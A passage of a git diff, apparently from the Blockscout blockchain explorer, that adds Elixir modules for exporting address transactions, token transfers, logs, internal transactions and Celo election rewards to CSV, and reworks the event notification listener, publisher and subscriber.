filter_value, "internal_transactions"), + do: &1 |> Keyword.put(:direction, String.to_atom(filter_value)), + else: &1 + )).() + + InternalTransaction.address_to_internal_transactions(address_hash, options) + end + + defp to_csv_format(internal_transactions) do + row_names = [ + "TxHash", + "Index", + "BlockNumber", + "BlockHash", + "TxIndex", + "BlockIndex", + "UnixTimestamp", + "FromAddress", + "ToAddress", + "ContractAddress", + "Type", + "CallType", + "Gas", + "GasUsed", + "Value", + "Input", + "Output", + "ErrCode", + "Fee" + ] + + internal_transaction_lists = + internal_transactions + |> Stream.map(fn internal_transaction -> + gas_price = + internal_transaction.transaction && + (internal_transaction.transaction.gas_price || + Transaction.effective_gas_price(internal_transaction.transaction, internal_transaction.block)) + + [ + to_string(internal_transaction.transaction_hash), + internal_transaction.index, + internal_transaction.block_number, + internal_transaction.block_hash, + internal_transaction.block_index, + internal_transaction.transaction_index, + internal_transaction.block.timestamp, + Address.checksum(internal_transaction.from_address_hash), + Address.checksum(internal_transaction.to_address_hash), + Address.checksum(internal_transaction.created_contract_address_hash), + internal_transaction.type, + internal_transaction.call_type, + internal_transaction.gas, + internal_transaction.gas_used, + Wei.to(internal_transaction.value, :wei), + internal_transaction.input, + internal_transaction.output, + internal_transaction.error, + gas_price && internal_transaction.gas_used && + gas_price |> Wei.mult(internal_transaction.gas_used) |> Wei.to(:wei) + ] + end) + + Stream.concat([row_names], internal_transaction_lists) + end +end diff --git a/apps/explorer/lib/explorer/chain/csv_export/address/logs.ex b/apps/explorer/lib/explorer/chain/csv_export/address/logs.ex new file mode 100644 index 000000000000..1d667bde15b9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/csv_export/address/logs.ex @@ -0,0 +1,65 @@ +defmodule Explorer.Chain.CsvExport.Address.Logs do + @moduledoc """ + Exports logs to a csv file. + """ + + alias Explorer.Chain + alias Explorer.Chain.{Address, Hash} + alias Explorer.Chain.CsvExport.Helper + + @spec export(Hash.Address.t(), String.t(), String.t(), Keyword.t(), String.t() | nil, String.t() | nil) :: + Enumerable.t() + def export(address_hash, from_period, to_period, _options, _filter_type \\ nil, filter_value \\ nil) do + {from_block, to_block} = Helper.block_from_period(from_period, to_period) + + address_hash + |> fetch_all_logs(from_block, to_block, filter_value, Helper.paging_options()) + |> to_csv_format() + |> Helper.dump_to_stream() + end + + defp fetch_all_logs(address_hash, from_block, to_block, filter_value, paging_options) do + options = + [] + |> Keyword.put(:paging_options, paging_options) + |> Keyword.put(:from_block, from_block) + |> Keyword.put(:to_block, to_block) + |> Keyword.put(:topic, filter_value) + + Chain.address_to_logs(address_hash, true, options) + end + + defp to_csv_format(logs) do + row_names = [ + "TxHash", + "Index", + "BlockNumber", + "BlockHash", + "ContractAddress", + "Data", + "FirstTopic", + "SecondTopic", + "ThirdTopic", + "FourthTopic" + ] + + log_lists = + logs + |> Stream.map(fn log -> + [ + to_string(log.transaction_hash), + log.index, + log.block_number, + log.block_hash, + Address.checksum(log.address_hash), + to_string(log.data), + to_string(log.first_topic), + to_string(log.second_topic), + to_string(log.third_topic), + to_string(log.fourth_topic) + ] + end) + + Stream.concat([row_names], log_lists) + end +end diff --git a/apps/explorer/lib/explorer/chain/csv_export/address/token_transfers.ex b/apps/explorer/lib/explorer/chain/csv_export/address/token_transfers.ex new file mode 100644 index 000000000000..f70f4696d9e3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/csv_export/address/token_transfers.ex @@ -0,0 +1,184 @@ +defmodule Explorer.Chain.CsvExport.Address.TokenTransfers do + @moduledoc """ + Exports token transfers to a csv file. + """ + + import Ecto.Query, + only: [ + limit: 2, + preload: 2, + order_by: 3, + where: 3 + ] + + alias Explorer.{PagingOptions, Repo} + alias Explorer.Chain.{Address, DenormalizationHelper, Hash, TokenTransfer, Transaction} + alias Explorer.Chain.CsvExport.Helper + alias Explorer.Helper, as: ExplorerHelper + + @spec export(Hash.Address.t(), String.t(), String.t(), Keyword.t(), String.t() | nil, String.t() | nil) :: + Enumerable.t() + def export(address_hash, from_period, to_period, options, filter_type \\ nil, filter_value \\ nil) do + {from_block, to_block} = Helper.block_from_period(from_period, to_period) + + paging_options = %PagingOptions{Helper.paging_options() | asc_order: true} + + address_hash + |> fetch_all_token_transfers(from_block, to_block, filter_type, filter_value, paging_options, options) + |> to_csv_format(address_hash) + |> Helper.dump_to_stream() + end + + defp fetch_all_token_transfers( + address_hash, + from_block, + to_block, + filter_type, + filter_value, + paging_options, + options + ) do + options = + options + |> Keyword.put(:paging_options, paging_options) + |> Keyword.put(:from_block, from_block) + |> Keyword.put(:to_block, to_block) + |> Keyword.put(:filter_type, filter_type) + |> Keyword.put(:filter_value, filter_value) + + address_hash_to_token_transfers_including_contract(address_hash, options) + end + + defp to_csv_format(token_transfers, address_hash) do + row_names = [ + "TxHash", + "BlockNumber", + "UnixTimestamp", + "FromAddress", + "ToAddress", + "TokenContractAddress", + "Type", + "TokenDecimals", + "TokenSymbol", + "TokensTransferred", + "TransactionFee", + "Status", + "ErrCode" + ] + + token_transfer_lists = + token_transfers + |> Stream.map(fn token_transfer -> + [ + to_string(token_transfer.transaction_hash), + token_transfer.transaction.block_number, + Transaction.block_timestamp(token_transfer.transaction), + Address.checksum(token_transfer.from_address_hash), + Address.checksum(token_transfer.to_address_hash), + Address.checksum(token_transfer.token_contract_address_hash), + type(token_transfer, address_hash), + token_transfer.token.decimals, + token_transfer.token.symbol, + token_transfer.amount, + fee(token_transfer.transaction), + token_transfer.transaction.status, + token_transfer.transaction.error + ] + end) + + Stream.concat([row_names], token_transfer_lists) + end + + defp type(%TokenTransfer{from_address_hash: address_hash}, address_hash), do: "OUT" + + defp type(%TokenTransfer{to_address_hash: address_hash}, address_hash), do: "IN" + + defp type(_, _), do: "" + + defp fee(transaction) do + transaction + |> Transaction.fee(:wei) + |> case do + {:actual, value} -> value + {:maximum, value} -> "Max of #{value}" + end + end + + @doc """ + address_hash_to_token_transfers_including_contract/2 function returns token transfers on address (to/from/contract). + It is used by CSV export of token transfers button. + """ + @spec address_hash_to_token_transfers_including_contract(Hash.Address.t(), Keyword.t()) :: [TokenTransfer.t()] + def address_hash_to_token_transfers_including_contract(address_hash, options \\ []) do + paging_options = Keyword.get(options, :paging_options, Helper.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] + + _ -> + from_block = Keyword.get(options, :from_block) + to_block = Keyword.get(options, :to_block) + filter_type = Keyword.get(options, :filter_type) + filter_value = Keyword.get(options, :filter_value) + + query = + from_block + |> query_address_hash_to_token_transfers_including_contract(to_block, address_hash, filter_type, filter_value) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> order_by([token_transfer], asc: token_transfer.block_number, asc: token_transfer.log_index) + + query + |> handle_token_transfer_paging_options(paging_options) + |> preload(^DenormalizationHelper.extend_transaction_preload([:transaction])) + |> preload(:token) + |> Repo.replica().all() + end + end + + defp query_address_hash_to_token_transfers_including_contract(nil, to_block, address_hash, filter_type, filter_value) + when not is_nil(to_block) do + TokenTransfer + |> Helper.where_address_hash(address_hash, filter_type, filter_value) + |> where([token_transfer], token_transfer.block_number <= ^to_block) + end + + defp query_address_hash_to_token_transfers_including_contract( + from_block, + nil, + address_hash, + filter_type, + filter_value + ) + when not is_nil(from_block) do + TokenTransfer + |> Helper.where_address_hash(address_hash, filter_type, filter_value) + |> where([token_transfer], token_transfer.block_number >= ^from_block) + end + + defp query_address_hash_to_token_transfers_including_contract( + from_block, + to_block, + address_hash, + filter_type, + filter_value + ) + when not is_nil(from_block) and not is_nil(to_block) do + TokenTransfer + |> Helper.where_address_hash(address_hash, filter_type, filter_value) + |> where([token_transfer], token_transfer.block_number >= ^from_block and token_transfer.block_number <= ^to_block) + end + + defp query_address_hash_to_token_transfers_including_contract(_, _, address_hash, filter_type, filter_value) do + TokenTransfer + |> Helper.where_address_hash(address_hash, filter_type, filter_value) + end + + defp handle_token_transfer_paging_options(query, nil), do: query + + defp handle_token_transfer_paging_options(query, paging_options) do + query + |> TokenTransfer.page_token_transfer(paging_options) + |> limit(^paging_options.page_size) + end +end diff --git a/apps/explorer/lib/explorer/chain/csv_export/address/transactions.ex b/apps/explorer/lib/explorer/chain/csv_export/address/transactions.ex new file mode 100644 index 000000000000..657b792ac4c5 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/csv_export/address/transactions.ex @@ -0,0 +1,121 @@ +defmodule Explorer.Chain.CsvExport.Address.Transactions do + @moduledoc """ + Exports transactions to a csv file. + """ + + alias Explorer.Market + alias Explorer.Market.MarketHistory + alias Explorer.Chain.{Address, DenormalizationHelper, Hash, Transaction, Wei} + alias Explorer.Chain.CsvExport.Helper + + @spec export(Hash.Address.t(), String.t(), String.t(), Keyword.t(), String.t() | nil, String.t() | nil) :: + Enumerable.t() + def export(address_hash, from_period, to_period, _options, filter_type \\ nil, filter_value \\ nil) do + {from_block, to_block} = Helper.block_from_period(from_period, to_period) + exchange_rate = Market.get_coin_exchange_rate() + + transactions = + address_hash + |> fetch_transactions(from_block, to_block, filter_type, filter_value, Helper.paging_options()) + + transactions + |> Transaction.decode_transactions(true, api?: true) + |> Enum.zip(transactions) + |> to_csv_format(address_hash, exchange_rate) + |> Helper.dump_to_stream() + end + + # sobelow_skip ["DOS.StringToAtom"] + def fetch_transactions(address_hash, from_block, to_block, filter_type, filter_value, paging_options) do + options = + [necessity_by_association: %{[to_address: :smart_contract] => :optional}] + |> DenormalizationHelper.extend_block_necessity(:required) + |> Keyword.put(:paging_options, paging_options) + |> Keyword.put(:from_block, from_block) + |> Keyword.put(:to_block, to_block) + |> (&if(Helper.valid_filter?(filter_type, filter_value, "transactions"), + do: &1 |> Keyword.put(:direction, String.to_atom(filter_value)), + else: &1 + )).() + + Transaction.address_to_transactions_without_rewards(address_hash, options) + end + + defp to_csv_format(transactions_with_decoded_data, address_hash, exchange_rate) do + row_names = [ + "TxHash", + "BlockNumber", + "UnixTimestamp", + "FromAddress", + "ToAddress", + "ContractAddress", + "Type", + "Value", + "Fee", + "Status", + "ErrCode", + "CurrentPrice", + "TxDateOpeningPrice", + "TxDateClosingPrice", + "MethodName" + ] + + date_to_prices = + Enum.reduce(transactions_with_decoded_data, %{}, fn {_decoded_data, transaction}, acc -> + date = transaction |> Transaction.block_timestamp() |> DateTime.to_date() + + if Map.has_key?(acc, date) do + acc + else + market_history = MarketHistory.price_at_date(date) + + Map.put( + acc, + date, + {market_history && market_history.opening_price, market_history && market_history.closing_price} + ) + end + end) + + transaction_lists = + transactions_with_decoded_data + |> Stream.map(fn {decoded_data, transaction} -> + {opening_price, closing_price} = date_to_prices[DateTime.to_date(Transaction.block_timestamp(transaction))] + + [ + to_string(transaction.hash), + transaction.block_number, + Transaction.block_timestamp(transaction), + Address.checksum(transaction.from_address_hash), + Address.checksum(transaction.to_address_hash), + Address.checksum(transaction.created_contract_address_hash), + type(transaction, address_hash), + Wei.to(transaction.value, :wei), + fee(transaction), + transaction.status, + transaction.error, + exchange_rate.fiat_value, + opening_price, + closing_price, + Transaction.method_name(transaction, decoded_data) + ] + end) + + Stream.concat([row_names], transaction_lists) + end + + defp type(%Transaction{from_address_hash: address_hash}, address_hash), do: "OUT" + + defp type(%Transaction{to_address_hash: address_hash}, address_hash), do: "IN" + + defp type(_, _), do: "" + + defp fee(transaction) do + transaction + |> Transaction.fee(:wei) + |> case do + {:actual, value} -> value + {:maximum, value} -> "Max of #{value}" + end + end +end diff --git a/apps/explorer/lib/explorer/chain/csv_export/celo/election_rewards.ex b/apps/explorer/lib/explorer/chain/csv_export/celo/election_rewards.ex new file mode 100644 index 000000000000..4acf9f44bfcc --- /dev/null +++ b/apps/explorer/lib/explorer/chain/csv_export/celo/election_rewards.ex @@ -0,0 +1,100 @@ +defmodule Explorer.Chain.CsvExport.Address.Celo.ElectionRewards do + @moduledoc """ + Exports Celo election rewards to a csv file. + """ + alias Explorer.Chain.Celo.{ElectionReward, Epoch} + alias Explorer.Chain.CsvExport.Helper + alias Explorer.Chain.{Hash, Wei} + + @spec export(Hash.Address.t(), String.t() | nil, String.t() | nil, Keyword.t(), any(), any()) :: Enumerable.t() + def export(address_hash, from_period, to_period, _options, _filter_type, _filter_value) do + {from_block, to_block} = Helper.block_from_period(from_period, to_period) + epoch_range = Epoch.block_range_to_epoch_range(from_block, to_block) + + options = [ + necessity_by_association: %{ + :account_address => :optional, + :associated_account_address => :optional, + [epoch: [:end_processing_block]] => :optional + }, + paging_options: Helper.paging_options(), + api?: true + ] + + epoch_range + |> case do + nil -> + [] + + {from_epoch, to_epoch} -> + full_options = + options + |> Keyword.put(:from_epoch, from_epoch) + |> Keyword.put(:to_epoch, to_epoch) + + address_hash |> ElectionReward.address_hash_to_rewards(full_options) + end + |> to_csv_format() + |> Helper.dump_to_stream() + end + + @spec to_csv_format(Enumerable.t()) :: Enumerable.t() + defp to_csv_format(election_rewards) do + column_names = [ + "EpochNumber", + "BlockNumber", + "TimestampUTC", + "EpochTxType", + "ValidatorAddress", + "ValidatorGroupAddress", + "ToAddress", + "Type", + "Value", + "ValueInWei", + "TokenSymbol", + "TokenContractAddress" + ] + + reward_type_to_human_readable = %{ + voter: "Voter Rewards", + validator: "Validator Rewards", + group: "Validator Group Rewards", + delegated_payment: "Delegated Validator Rewards" + } + + rows = + election_rewards + |> Stream.map(fn reward -> + block = reward.epoch.end_processing_block + + [ + # EpochNumber + reward.epoch_number, + # BlockNumber + block.number, + # TimestampUTC + block.timestamp, + # EpochTxType + Map.get(reward_type_to_human_readable, reward.type, "N/A"), + # ValidatorAddress + (reward.type in ~w(group delegated_payment)a && reward.associated_account_address_hash) || "N/A", + # ValidatorGroupAddress + (reward.type in ~w(validator voter)a && reward.associated_account_address_hash) || "N/A", + # ToAddress + reward.account_address_hash, + # Type + "IN", + # Value + reward.amount |> Wei.to(:ether) |> Decimal.to_string(:normal), + # ValueInWei + reward.amount |> Wei.to(:wei) |> Decimal.to_string(:normal), + # TokenSymbol + reward.token.symbol, + # TokenContractAddress + reward.token.contract_address_hash + ] + end) + + Stream.concat([column_names], rows) + end +end diff --git a/apps/explorer/lib/explorer/chain/csv_export/helper.ex b/apps/explorer/lib/explorer/chain/csv_export/helper.ex new file mode 100644 index 000000000000..a9c1af498815 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/csv_export/helper.ex @@ -0,0 +1,173 @@ +defmodule Explorer.Chain.CsvExport.Helper do + @moduledoc """ + CSV export helper functions. + """ + + alias Explorer.Chain.Block + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader + alias Explorer.Chain.Hash.Full, as: Hash + alias Explorer.PagingOptions + alias NimbleCSV.RFC4180 + + import Ecto.Query, + only: [ + where: 3 + ] + + @page_size 150 + @default_paging_options %PagingOptions{page_size: @page_size} + + def dump_to_stream(items) do + items + |> RFC4180.dump_to_stream() + end + + def page_size, do: @page_size + + def default_paging_options, do: @default_paging_options + + @spec limit() :: integer() + def limit, do: Application.get_env(:explorer, :csv_export_limit) + + @spec paging_options() :: Explorer.PagingOptions.t() + def paging_options, do: %PagingOptions{page_size: limit()} + + @doc """ + Returns a tuple containing the minimum block number from the `from_period` and the maximum block number from the `to_period`. + + ## Parameters + + - `from_period`: The starting period, which can be an ISO8601 timestamp or a date string, from which to calculate the minimum block number. + - `to_period`: The ending period, which can be an ISO8601 timestamp or a date string, from which to calculate the maximum block number. + + ## Returns + + - A tuple `{from_block, to_block}` where `from_block` is the minimum block number from the `from_period` and `to_block` is the maximum block number from the `to_period`. + + ## Examples + + iex> block_from_period("2023-01-01T00:00:00Z", "2023-12-31T23:59:59Z") + {1000, 2000} + + iex> block_from_period("2023-01-01", "2023-12-31") + {1000, 2000} + + """ + @spec block_from_period(String.t(), String.t()) :: {Block.block_number(), Block.block_number()} + def block_from_period(from_period, to_period) do + from_block = convert_date_string_to_block(from_period, :after, :from) + to_block = convert_date_string_to_block(to_period, :before, :to) + + {from_block, to_block} + end + + @spec convert_date_string_to_block(String.t(), :before | :after, :from | :to) :: integer() + defp convert_date_string_to_block(date_string, direction, range_type) do + with {:ok, timestamp, _utc_offset} <- date_string_to_timestamp(date_string, range_type), + {:ok, block} <- BlockGeneralReader.timestamp_to_block_number(timestamp, direction, true) do + block + else + _ -> 0 + end + end + + @spec date_string_to_timestamp(String.t(), :from | :to) :: + {:ok, DateTime.t(), Calendar.utc_offset()} | {:error, atom()} + defp date_string_to_timestamp(date_string, range_type) do + date_string + |> Date.from_iso8601() + |> case do + {:ok, _date} -> + range_time = + case range_type do + :from -> "T00:00:00Z" + :to -> "T23:59:59Z" + end + + date_string <> range_time + + _ -> + date_string + end + |> DateTime.from_iso8601() + end + + def where_address_hash(query, address_hash, filter_type, filter_value) do + if filter_type == "address" do + case filter_value do + "to" -> where_address_hash_to(query, address_hash) + "from" -> where_address_hash_from(query, address_hash) + _ -> where_address_hash_all(query, address_hash) + end + else + where_address_hash_all(query, address_hash) + end + end + + defp where_address_hash_to(query, address_hash) do + query + |> where( + [item], + item.to_address_hash == ^address_hash + ) + end + + defp where_address_hash_from(query, address_hash) do + query + |> where( + [item], + item.from_address_hash == ^address_hash + ) + end + + defp where_address_hash_all(query, address_hash) do + query + |> where( + [item], + item.to_address_hash == ^address_hash or + item.from_address_hash == ^address_hash or + item.token_contract_address_hash == ^address_hash + ) + end + + @spec supported_filters(String.t()) :: [String.t()] + def supported_filters(type) do + case type do + "internal-transactions" -> ["address"] + "transactions" -> ["address"] + "token-transfers" -> ["address"] + "logs" -> ["topic"] + _ -> [] + end + end + + @spec supported_address_filter_values() :: [String.t()] + def supported_address_filter_values do + ["to", "from"] + end + + @spec valid_filter?(String.t(), String.t(), String.t()) :: boolean() + def valid_filter?(filter_type, filter_value, item_type) do + valid_filter_type?(filter_type, filter_value, item_type) && valid_filter_value?(filter_type, filter_value) + end + + defp valid_filter_type?(filter_type, filter_value, item_type) do + filter_type in supported_filters(item_type) && filter_value && filter_value !== "" + end + + defp valid_filter_value?(filter_type, filter_value) do + case filter_type do + "address" -> + filter_value in supported_address_filter_values() + + "topic" -> + case Hash.cast(filter_value) do + {:ok, _} -> true + _ -> false + end + + _ -> + true + end + end +end diff --git a/apps/explorer/lib/explorer/chain/currency_helper.ex b/apps/explorer/lib/explorer/chain/currency_helper.ex new file mode 100644 index 000000000000..45815ccfe5a8 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/currency_helper.ex @@ -0,0 +1,16 @@ +defmodule Explorer.Chain.CurrencyHelper do + @moduledoc """ + Helper functions for interacting with `t:BlockScoutWeb.ExchangeRates.USD.t/0` values. + """ + + @spec divide_decimals(Decimal.t(), Decimal.t() | nil) :: Decimal.t() + def divide_decimals(value, nil) do + value + end + + def divide_decimals(%{sign: sign, coef: coef, exp: exp}, decimals) do + sign + |> Decimal.new(coef, exp - Decimal.to_integer(decimals)) + |> Decimal.normalize() + end +end diff --git a/apps/explorer/lib/explorer/chain/currency_helpers.ex b/apps/explorer/lib/explorer/chain/currency_helpers.ex deleted file mode 100644 index 2adcbac8f758..000000000000 --- a/apps/explorer/lib/explorer/chain/currency_helpers.ex +++ /dev/null @@ -1,12 +0,0 @@ -defmodule Explorer.Chain.CurrencyHelpers do - @moduledoc """ - Helper functions for interacting with `t:BlockScoutWeb.ExchangeRates.USD.t/0` values. - """ - - @spec divide_decimals(Decimal.t(), Decimal.t()) :: Decimal.t() - def divide_decimals(%{sign: sign, coef: coef, exp: exp}, decimals) do - sign - |> Decimal.new(coef, exp - Decimal.to_integer(decimals)) - |> Decimal.normalize() - end -end diff --git a/apps/explorer/lib/explorer/chain/data.ex b/apps/explorer/lib/explorer/chain/data.ex index 09f526871799..a1019b416c32 100644 --- a/apps/explorer/lib/explorer/chain/data.ex +++ b/apps/explorer/lib/explorer/chain/data.ex @@ -359,6 +359,32 @@ defmodule Explorer.Chain.Data do @spec type() :: :binary def type, do: :binary + @doc """ + Determines if a data is just an empty binary (0x). + + ## Parameters + - `Data.t()` + + ## Returns + - `true` if the data is empty (0x) + - `false` if data contains bytecode or is not a valid Data struct + - `nil` if the data is not a Data struct + + ## Example + iex> Explorer.Chain.Data.empty?(%Explorer.Chain.Data{bytes: <<>>}) + true + + iex> Explorer.Chain.Data.empty?(%Explorer.Chain.Data{bytes: <<1, 2, 3>>}) + false + + iex> Explorer.Chain.Data.empty?(<<>>) + nil + """ + @spec empty?(any()) :: boolean() | nil + def empty?(%Data{bytes: <<>>}), do: true + def empty?(%Data{bytes: _}), do: false + def empty?(_), do: nil + defimpl String.Chars do @doc """ Converts the `#{@for}:t/0` to string representation shown to users. diff --git a/apps/explorer/lib/explorer/chain/decoding_helper.ex b/apps/explorer/lib/explorer/chain/decoding_helper.ex new file mode 100644 index 000000000000..c7b9d16ab0b2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/decoding_helper.ex @@ -0,0 +1,72 @@ +defmodule Explorer.Chain.DecodingHelper do + @moduledoc """ + Data decoding functions + """ + alias ABI.FunctionSelector + alias Explorer.Chain.{Address, Hash} + + require Logger + + def value_json(type, value) do + decoded_type = FunctionSelector.decode_type(type) + + do_value_json(decoded_type, value) + rescue + exception -> + Logger.warning(fn -> + ["Error determining value json for #{inspect(type)}: ", Exception.format(:error, exception, __STACKTRACE__)] + end) + + nil + end + + defp do_value_json({:bytes, _}, value) do + do_value_json(:bytes, value) + end + + defp do_value_json({:array, type, _}, value) do + do_value_json({:array, type}, value) + end + + defp do_value_json({:array, type}, value) do + values = + Enum.map(value, fn inner_value -> + do_value_json(type, inner_value) + end) + + values + end + + defp do_value_json({:tuple, types}, values) do + values_list = + values + |> Tuple.to_list() + |> Enum.with_index() + |> Enum.map(fn {value, i} -> + do_value_json(Enum.at(types, i), value) + end) + + values_list + end + + defp do_value_json(type, value) do + base_value_json(type, value) + end + + defp base_value_json(_, {:dynamic, value}) do + "0x" <> Base.encode16(value, case: :lower) + end + + defp base_value_json(:address, value) do + case Hash.Address.cast(value) do + {:ok, address} -> Address.checksum(address) + :error -> "0x" + end + end + + defp base_value_json(:bytes, value) do + "0x" <> Base.encode16(value, case: :lower) + end + + defp base_value_json(_, value), do: to_string(value) +end diff --git a/apps/explorer/lib/explorer/chain/decompiled_smart_contract.ex b/apps/explorer/lib/explorer/chain/decompiled_smart_contract.ex deleted file mode 100644 index 795214604482..000000000000 --- a/apps/explorer/lib/explorer/chain/decompiled_smart_contract.ex +++ /dev/null @@ -1,33 +0,0 @@ -defmodule Explorer.Chain.DecompiledSmartContract do - @moduledoc """ - The representation of a decompiled smart contract. - """ - - use Explorer.Schema - - alias Explorer.Chain.{Address, Hash} - - @derive {Jason.Encoder, only: [:address_hash, :decompiler_version, :decompiled_source_code]} - - schema "decompiled_smart_contracts" do - field(:decompiler_version, :string) - field(:decompiled_source_code, :string) - - belongs_to( - :address, - Address, - foreign_key: :address_hash, - references: :hash, - type: Hash.Address - ) - - timestamps() - end - - def changeset(%__MODULE__{} = smart_contract, attrs) do - smart_contract - |> cast(attrs, [:decompiler_version, :decompiled_source_code, :address_hash]) - |> validate_required([:decompiler_version, :decompiled_source_code, :address_hash]) - |> unique_constraint(:address_hash) - end -end diff --git a/apps/explorer/lib/explorer/chain/denormalization_helper.ex b/apps/explorer/lib/explorer/chain/denormalization_helper.ex new file mode 100644 index 000000000000..2af7759d1c3b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/denormalization_helper.ex @@ -0,0 +1,66 @@ +defmodule Explorer.Chain.DenormalizationHelper do + @moduledoc """ + Helper functions for dynamic logic based on denormalization migration completeness + """ + + alias Explorer.Chain.Cache.BackgroundMigrations + + @spec extend_block_necessity(keyword(), :optional | :required) :: keyword() + def extend_block_necessity(opts, necessity \\ :optional) do + if transactions_denormalization_finished?() do + opts + else + Keyword.update(opts, :necessity_by_association, %{:block => necessity}, &Map.put(&1, :block, necessity)) + end + end + + @spec extend_transaction_block_necessity(keyword(), :optional | :required) :: keyword() + def extend_transaction_block_necessity(opts, necessity \\ :optional) do + if transactions_denormalization_finished?() do + opts + else + Keyword.update( + opts, + :necessity_by_association, + %{[transaction: :block] => necessity}, + &(&1 |> Map.delete(:transaction) |> Map.put([transaction: :block], necessity)) + ) + end + end + + @spec extend_transaction_preload(list()) :: list() + def extend_transaction_preload(preloads) do + if transactions_denormalization_finished?() do + preloads + else + [transaction: :block] ++ (preloads -- [:transaction]) + end + end + + @spec extend_block_preload(list()) :: list() + def extend_block_preload(preloads) do + if transactions_denormalization_finished?() do + preloads + else + [:block | preloads] + end + end + + @doc """ + Checks if the transaction denormalization process has been completed. + + This function retrieves the status of the transaction denormalization + background migration. The denormalization process copies `block.consensus` and + `block.timestamp` to the respective fields in the transactions table for all + transactions with a `block_hash`. + + ## Returns + - `true` if all transactions with a `block_hash` have `block_consensus` and + `block_timestamp` set. + - `false` if the migration is still ongoing or the status is unknown. + """ + @spec transactions_denormalization_finished?() :: boolean() + def transactions_denormalization_finished?, do: BackgroundMigrations.get_transactions_denormalization_finished() + + def tt_denormalization_finished?, do: BackgroundMigrations.get_tt_denormalization_finished() +end diff --git a/apps/explorer/lib/explorer/chain/events/db_sender.ex b/apps/explorer/lib/explorer/chain/events/db_sender.ex index 186beebec13b..3a341f8b7fea 100644 --- a/apps/explorer/lib/explorer/chain/events/db_sender.ex +++ b/apps/explorer/lib/explorer/chain/events/db_sender.ex @@ -2,7 +2,7 @@ defmodule Explorer.Chain.Events.DBSender do @moduledoc """ Sends events to Postgres. """ - alias Explorer.Repo + alias Explorer.Repo.EventNotifications, as: EventNotificationsRepo alias Explorer.Utility.EventNotification def send_data(event_type) do @@ -25,12 +25,12 @@ defmodule Explorer.Chain.Events.DBSender do end defp send_notify(payload) do - Repo.query!("select pg_notify('chain_event', $1::text);", [payload]) + EventNotificationsRepo.query!("select pg_notify('chain_event', $1::text);", [payload]) end defp save_event_notification(event_data) do event_data |> EventNotification.new_changeset() - |> Repo.insert() + |> EventNotificationsRepo.insert() end end diff --git a/apps/explorer/lib/explorer/chain/events/listener.ex b/apps/explorer/lib/explorer/chain/events/listener.ex index c03e1746ef43..a3a6244bd6d4 100644 --- a/apps/explorer/lib/explorer/chain/events/listener.ex +++ b/apps/explorer/lib/explorer/chain/events/listener.ex @@ -5,7 +5,8 @@ defmodule Explorer.Chain.Events.Listener do use GenServer - alias Explorer.Repo + alias Explorer.Repo.ConfigHelper + alias Explorer.Repo.EventNotifications, as: EventNotificationsRepo alias Explorer.Utility.EventNotification alias Postgrex.Notifications @@ -16,7 +17,8 @@ defmodule Explorer.Chain.Events.Listener do def init(channel) do {:ok, pid} = :explorer - |> Application.get_env(Explorer.Repo) + |> Application.get_env(EventNotificationsRepo) + |> Keyword.merge(listener_db_parameters()) |> Notifications.start_link() ref = Notifications.listen!(pid, channel) @@ -25,17 +27,20 @@ defmodule Explorer.Chain.Events.Listener do end def handle_info({:notification, _pid, _ref, _topic, payload}, state) do - payload - |> expand_payload() - |> decode_payload!() - |> broadcast() + expanded_payload = expand_payload(payload) + + if expanded_payload != nil do + expanded_payload + |> decode_payload!() + |> broadcast() + end {:noreply, state} end defp expand_payload(payload) do case Integer.parse(payload) do - {event_notification_id, ""} -> fetch_and_delete_event_notification(event_notification_id) + {event_notification_id, ""} -> fetch_event_notification(event_notification_id) _ -> payload end end @@ -63,14 +68,18 @@ defmodule Explorer.Chain.Events.Listener do end) end - defp fetch_and_delete_event_notification(id) do - case Repo.get(EventNotification, id) do + defp fetch_event_notification(id) do + case EventNotificationsRepo.get(EventNotification, id) do nil -> nil - %{data: data} = notification -> - Repo.delete(notification) + %{data: data} -> data end end + + defp listener_db_parameters do + listener_db_url = Application.get_env(:explorer, EventNotificationsRepo)[:url] + ConfigHelper.extract_parameters(listener_db_url) + end end diff --git a/apps/explorer/lib/explorer/chain/events/publisher.ex b/apps/explorer/lib/explorer/chain/events/publisher.ex index 29d36be7ed90..9338c0bd0ebf 100644 --- a/apps/explorer/lib/explorer/chain/events/publisher.ex +++ b/apps/explorer/lib/explorer/chain/events/publisher.ex @@ -2,8 +2,27 @@ defmodule Explorer.Chain.Events.Publisher do @moduledoc """ Publishes events related to the Chain context. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - @allowed_events ~w(addresses address_coin_balances address_token_balances blocks block_rewards internal_transactions last_block_number token_transfers transactions contract_verification_result)a + @common_allowed_events ~w(addresses address_coin_balances address_token_balances + address_current_token_balances blocks block_rewards internal_transactions + last_block_number token_transfers transactions contract_verification_result + token_total_supply changed_bytecode fetched_bytecode fetched_token_instance_metadata not_fetched_token_instance_metadata + smart_contract_was_verified zkevm_confirmed_batches eth_bytecode_db_lookup_started + smart_contract_was_not_verified)a + + case @chain_type do + :arbitrum -> + @chain_type_specific_allowed_events ~w(new_arbitrum_batches new_messages_to_arbitrum_amount)a + + :optimism -> + @chain_type_specific_allowed_events ~w(new_optimism_batches new_optimism_deposits)a + + _ -> + @chain_type_specific_allowed_events ~w()a + end + + @allowed_events @common_allowed_events ++ @chain_type_specific_allowed_events def broadcast(_data, false), do: :ok diff --git a/apps/explorer/lib/explorer/chain/events/subscriber.ex b/apps/explorer/lib/explorer/chain/events/subscriber.ex index 295eff9ada8a..95759a8713ad 100644 --- a/apps/explorer/lib/explorer/chain/events/subscriber.ex +++ b/apps/explorer/lib/explorer/chain/events/subscriber.ex @@ -2,8 +2,27 @@ defmodule Explorer.Chain.Events.Subscriber do @moduledoc """ Subscribes to events related to the Chain context. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - @allowed_broadcast_events ~w(addresses address_coin_balances address_token_balances blocks block_rewards internal_transactions last_block_number token_transfers transactions contract_verification_result)a + @common_allowed_broadcast_events ~w(addresses address_coin_balances address_token_balances + address_current_token_balances blocks 